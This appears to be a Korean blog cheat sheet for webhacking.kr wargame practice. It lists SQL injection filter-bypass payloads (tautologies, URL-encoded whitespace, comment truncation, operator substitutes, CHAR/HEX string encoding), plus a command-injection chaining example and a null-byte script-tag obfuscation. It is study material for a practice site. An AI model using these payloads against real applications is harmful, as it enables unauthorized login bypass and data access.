sql injection 기본
sql문에 데이터를 삽입하는 부분에 sql문을 삽입하여서 원하는 값을 얻거나 넣는다.
ex) select id from DB id=''||1#'' pw=''
url-encoding 우회
1- %00
null 표현 (공백)
ex) <%00s%00c%00r%00i%00p%00t%00> -> <script>
2 - %0a
줄바꿈(띄어쓰기 우회 가능)
ex) id=''%0aor%0a1#pw=''
3 - %09
TAB 기능(띄어쓰기 우회 가능)
ex) id=''%09or%091#pw=''
4 - +우회
+를 활용하여 공백 처리 가능
ex) no=1+or+id='admin
주석처리
1 - (#)
# 뒤의 쿼리문은 주석 처리된다.
ex) id='admin' or 1#pw='admin'
2 - (--)
-- 뒤의 쿼리문은 주석 처리된다.
뒤에 공백이 있어야 된다. %0a로는 적용이 안된다. %09로 가능
ex) id='admin' or 1-- pw='admin'
3 - (/**/)
/**/사이의 쿼리문은 주석 처리된다.
ex) id='admin' or 1/* pw='admin'*/
공백 우회
괄호 우회()
()를 활용하여 공백 처리 가능
ex) no=(1)or(id='admin')
preg_match우회
preg_match : 특정 문자열이 있는지 확인하는 함수
만약 preg_match("/...../")라면 대문자는 구별하지 않는다.
ex) preg_match("/admin/") -> ADMIN이라는 데이터 입력 가능
DB대문자 우회
쿼리문은 대,소문자 구별을 따로 하진 않지만, HTML 및 PHP에서는 구별한다.
ex)
if($id=='admin') exit();
select id from DB where id='$id'
id에 ADMIN값을 넣으면 우회 가능
command line injection
system("ls -al";"cd .."); : ls -al, cd .. 둘 다 실행된다.
연산자 우회
1 - or
||로 대체 가능, 공백이 없어도 됨
ex) id='' or 1# -> id=''||1#
2- and
&&로 대체 가능, 공백이 없어도 됨
ex) id='admin' and pw='1234'#'' -> id='admin'&&pw='1234'#''
3 - =
like로 대체 가능, 공백이 있어야 됨
ex) id like admin
4 - instr(string str, string substr)로 대체 가능
ex) instr(id,'admin')
5 - in로 대체 가능
ex) id in admin
문자열 우회 (quote를 우회할 수 있음)
1 - CHAR형
ex) id='admin' -> id=char(97,100,109,105,110)
2 - HEX형
ex) id='admin' -> id=0x61646D696E
3 - BIN형
ex) id='admin' -> id=0b110000101100100011011010110100101101110
업데이트 예정
'category > 웹해킹(webhacking.kr)' 카테고리의 다른 글
웹해킹(webhacking.kr) - 56번 (4) | 2023.02.15 |
---|---|
웹해킹(webhacking.kr) - 8번 (0) | 2023.02.14 |
웹해킹(webhacking.kr) - 35번 (0) | 2020.11.30 |
웹해킹(webhacking.kr) - 40번 (0) | 2020.11.26 |
웹해킹(webhacking.kr) - 27번 (0) | 2020.11.24 |
웹해킹(webhacking.kr) - 24번 (0) | 2020.11.21 |
웹해킹(webhacking.kr) - 16번 (0) | 2020.11.21 |
웹해킹(webhacking.kr) - 50번 (0) | 2020.11.21 |
댓글